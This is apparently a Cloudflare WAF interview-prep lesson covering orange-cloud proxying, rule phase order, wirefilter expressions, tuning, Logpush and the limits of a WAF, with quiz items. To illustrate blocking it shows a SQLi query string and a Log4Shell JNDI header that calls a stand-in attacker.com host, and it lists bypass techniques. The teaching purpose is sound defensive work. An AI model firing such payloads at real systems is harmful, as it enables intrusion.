① Before the firewall — DNS, orange-cloud, and "WAF off"
Aditya at HCL types flipkart.com. His browser asks DNS, gets back an IP, opens TCP/443. Whether Cloudflare's WAF inspects that packet depends entirely on one toggle in the DNS panel — the orange cloud. Get the toggle wrong and your WAF, rate-limit rules, and DDoS shield are all silently bypassed.
Cloudflare is a reverse proxy running on an anycast network of 330+ cities. When DNS is proxied (orange), the A record returns Cloudflare's edge IPs — packets terminate at the nearest PoP, get WAF + Bot + Cache + SSL applied, then forwarded to your origin via the cf-connecting-ip header. Grey-cloud the same record and DNS returns the raw origin IP — WAF is off, CDN is off, origin IP is leaked.
Deploy a site behind Cloudflare WAF — the 6-step path
The end-to-end deployment for a brand-new domain looks like this — written exactly as you would do it on a real account:
- Add site at dash.cloudflare.com → pick Free plan to start. CF scans your existing DNS records.
- Update nameservers at your registrar (GoDaddy, Namecheap, BigRock) to the two CF nameservers shown. DNS propagation 5 min – 24 hrs.
- SSL/TLS mode → set to
Full (strict)— encrypts both legs and validates the origin cert. Never useFlexiblein production. - Security → WAF → Managed Rules → enable Cloudflare Free Managed Ruleset. On Pro+ also enable Cloudflare Managed Ruleset and Cloudflare OWASP Core Ruleset.
- Custom Rules → start with one rule: block known-bad IPs from
cf.threat_score > 14. - Rate Limiting → add a rule on
/loginor any auth endpoint: 5 requests per 60 seconds per IP, action = block, duration 300s.
DNS record is proxied through Cloudflare. WAF, CDN, Bot Management, DDoS, SSL termination — all active. Default for web traffic.
DNS-only. Cloudflare answers DNS but doesn't proxy traffic. Origin IP is returned to the world. Use only for SMTP / SSH where proxying doesn't work.
One IP advertised from 330+ cities. The internet routes Aditya in Mumbai to the Mumbai PoP automatically — DDoS absorbed where it lands.
TLS browser↔CF AND CF↔origin, with origin cert validated. The only safe SSL mode for production. "Flexible" mode is HTTP to origin — never use it.
Sneha at Infosys grey-clouds a subdomain "to allow direct origin access for an internal API". What's actually exposed after that change?
dig +short api.company.com and immediately bypass every CF protection. This is the #1 way origin IPs leak. Internal APIs that absolutely need direct access should use Cloudflare Tunnel or Authenticated Origin Pulls instead.② The 7 phases — what runs first, what runs last
This is THE question every Cloudflare interviewer asks: "Walk me through how a request traverses your WAF." Most candidates name three features and stall. The good candidates draw a swimlane.
When a request hits the CF edge, it goes through phases in a fixed order. L3/L4 DDoS runs at packet level first (before any HTTP parsing). Then HTTP phases run in this order — memorise the bold ones, those are where you actually configure rules:
▶ Watch a SQLi request traverse all 7 phases
Click Play. The packet is GET /product?id=1' OR '1'='1 from an unknown IP. See where it dies.
GET /product?id=1' OR '1'='1
942100 fires (SQLi pattern). Anomaly score 5 + Cloudflare Managed rule 100002 = BLOCK
If you write a Custom Rule that BLOCKS an IP for "SQLi reasons", the Managed Rules NEVER fire on that IP — so Security Events never log the SQLi rule ID. You lose attack telemetry. Better: in Custom Rules, action = log for visibility, let Managed Rules do the block. Save Custom Rule blocks for clear-cut cases (geo, IP allowlist, known-bad ASN).
Rahul writes a Custom Rule "block IP 203.0.113.45" AND has the Managed Ruleset enabled. That IP sends a SQLi payload. What appears in Security Events?
http_request_firewall_custom phase, which is evaluated BEFORE http_request_firewall_managed. A block action terminates the pipeline. Net effect: you lose the SQLi attribution. Switch your Custom Rule action to log if you want to see what Managed Rules would catch on the same IP — or accept the trade-off if the IP is permanently banned.③ OWASP Top 10 → Cloudflare feature map
The interviewer's whiteboard question: "Pick any 3 OWASP categories — which Cloudflare feature blocks them?" Here's the full map, tight enough to write from memory.
Wirefilter cheat-sheet — 8 expressions you can paste tomorrow
The wirefilter language is what makes the difference between someone who's read about WAFs and someone who can operate one. Memorise the field names (http.request.uri.path, ip.src.country, cf.client.bot, cf.threat_score) — then everything else is glue.
| Scenario | Wirefilter expression | Action |
|---|---|---|
| Block POST to wp-login from outside India | (http.request.uri.path eq "/wp-login.php" and http.request.method eq "POST" and ip.src.country ne "IN") | block |
| Geo-block sanctioned countries | (ip.src.country in {"KP" "IR" "SY"}) | block |
| Allow verified Googlebot (skip remaining rules) | (cf.client.bot and http.user_agent contains "Googlebot") | skip → all remaining Custom Rules |
| Bypass WAF for Stripe webhooks | (http.host eq "api.techclick.in" and http.request.uri.path eq "/stripe/webhook" and ip.src in {3.18.12.63 13.235.14.237}) | skip → all Managed Rulesets |
| Rate-limit login by IP — 5 req/min | (http.request.uri.path eq "/login" and http.request.method eq "POST") · characteristic = ip.src · period 60 · requests 5 | block · duration 300 |
| Block high CF threat-score (Pro+) | (cf.threat_score gt 14) | managed_challenge |
| Virtual patch CVE-2021-44228 (Log4Shell) header | (any(http.request.headers.values[*] contains "${'$'}{jndi:")) | block |
| Allow only admin office IP to /wp-admin | (http.request.uri.path matches "^/wp-admin" and not ip.src in {49.207.0.0/16}) | block |
block · challenge (interactive captcha) · js_challenge (silent JS check) · managed_challenge (CF picks the lightest) · skip (skip all/selected remaining rulesets) · log (Enterprise — visibility only, no action). When tuning a noisy rule, START with log for 48 hours, drill into payloads, THEN move to block.
Plan-tier matrix (the "why this customer is on Pro" question)
| Feature | Free | Pro $25/mo | Business $250/mo | Enterprise |
|---|---|---|---|---|
| CF Free Managed Ruleset | ✓ | ✓ | ✓ | ✓ |
| CF Managed Ruleset + OWASP CRS + Exposed Creds | — | ✓ | ✓ | ✓ |
| Custom Rules (count) | 5 | 20 | 100 | 1000+ |
| Rate Limiting Rules | 1 basic | 5 | 15 | 1000+ |
| Bot protection | Bot Fight Mode | Super Bot Fight | Super Bot Fight | Bot Management (ML) |
Attack Score (cf.waf.score) | — | — | ✓ | ✓ |
| Logpush to SIEM | — | — | — | ✓ |
Karthik at Flipkart wants to block POST to /wp-login.php from outside India. Which wirefilter expression is correct?
eq, ne, in, contains, matches) and dotted field paths. http.host is the Host header (not the path), http.request.uri.path is the URL path. Country comparison uses ISO 3166 alpha-2 codes ("IN", "US", "KP"). C-style operators (==, !=) don't work.④ SOC L1 daily driver — false positives, Security Events, Logpush
The day-2 reality: a marketing manager screams that file uploads are broken, your dashboard shows a spike of WAF blocks on /api/upload. The bad answer is to disable the OWASP ruleset. The interview-correct answer is the 4-step tuning ladder.
▶ Log4Shell attack — the WAF rule fires in real time
Attacker sends a User-Agent with the JNDI payload. Watch each phase decide.
GET / HTTP/1.1 · User-Agent: ${'$'}{jndi:ldap://attacker.com/x}
100530 "Log4j RCE - CVE-2021-44228" matches the ${'$'}{jndi: pattern · BLOCK
Logpush — ship WAF events to your SIEM
On Enterprise (or via Logpush API), you can stream every WAF event in real time to SIEM targets — S3, R2, Splunk HEC, Sentinel, Datadog. Sample CLI snippet:
curl -X POST "https://api.cloudflare.com/client/v4/zones/$ZONE/logpush/jobs" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
--data '{
"destination_conf": "r2://my-bucket/cf-waf?account-id=$ACCT",
"dataset": "http_requests",
"logpull_options": "fields=RayID,ClientIP,ClientCountry,WAFAction,WAFRuleID,WAFProfile×tamps=rfc3339"
}'
{
"success": true,
"result": {
"id": 12345,
"dataset": "http_requests",
"enabled": true,
"destination_conf": "r2://my-bucket/cf-waf?account-id=..."
}
}
1. Multipart /api/upload false positive — OWASP CRS rule 949110 trips on legitimate binary uploads. Fix: scoped WAF Exception. 2. Managed Challenge fires on logged-in users mid-session — happens when paranoia is too high; create exception scoped to authenticated cookie. 3. Rate-limit using ip.src alone — behind corporate NAT (Infosys office = one egress IP), one rule punishes 5000 users. Switch the characteristic to ip.src + cookie session ID.
Priya at TCS sees the OWASP ruleset blocking legitimate multipart uploads to /api/upload. Marketing is escalating. What's the right tuning move?
What WAF does NOT protect — the senior gotcha
Every senior interviewer ends with this: "OK, you've explained what a WAF blocks. Now tell me what it CAN'T block." The honest answer separates L1 from L2:
- Business logic abuse — adding ₹0 to cart, replaying loyalty coupons. Pattern is valid HTTP; needs app-side checks.
- IDOR (broken access control beyond patterns) — Aditya logged in, hits
/api/order/999belonging to someone else. WAF sees a valid request from a logged-in user. Needs row-level auth. - Broken auth via stolen tokens — a valid session cookie steals everything. WAF can't tell.
- Race conditions / TOCTOU — multiple concurrent requests exploiting time-of-check.
- Supply chain attacks — malicious npm package injected at build time. Lives inside your app.
- WAF bypass techniques attackers actually use — HTTP Parameter Pollution, Unicode normalisation (full-width
<script>), Content-Type confusion, header smuggling, hex IP in SSRF, ACME challenge path (CF zero-day patched Oct 2025). Knowing these is what tunes your rules.
Defenders for these: SAST/DAST, IAM with row-level policy, code review, dependency scanning, supply-chain attestation. WAF is one layer in defense-in-depth — never the only one.
🤖 Ask the AI Tutor
Tap any question — instant context-aware answer. No login, no waiting.
Pre-curated answers from Cloudflare docs + community Q&A + 2025/26 attack reports. For deeper / live questions, paste your output into chat.techclick.in.
📝 Final assessment — six more questions
You've answered 4 inline. Six remaining. 70% (7 of 10) total marks the lesson complete on your profile. Tap Submit all answers at the end.
📚 Sources
- Cloudflare Docs — WAF Managed Rules & plan-tier matrix
- Cloudflare Docs — Ruleset Engine phases (the order-of-evaluation source)
- Cloudflare Docs — Wirefilter field reference
- Cloudflare Docs — WAF Exceptions (FP tuning workflow)
- OWASP Top 10 (2021) — official category list
- Cloudflare Blog — Q3 2025 DDoS Threat Report (8.3M attacks, 29.7 Tbps record)
- Cloudflare Blog — Dec 2025 React RCE virtual patch (CVE-2025-55182, CVSS 10.0)
- CF Community — real false-positive thread on /api/upload tuning
- WAFFLED (2025) — academic paper on 1,207 parser-discrepancy WAF bypasses
- Cloudflare Network — 330+ cities, 100+ countries (anycast footprint)
What's next?
Next we open up Cloudflare Bot Management — JA3/JA4 fingerprinting, the ML bot score, distinguishing Googlebot from Bytespider, and writing a custom rule on cf.bot_management.score. That blog rounds out the L1 SOC / Cloud Security interview toolkit.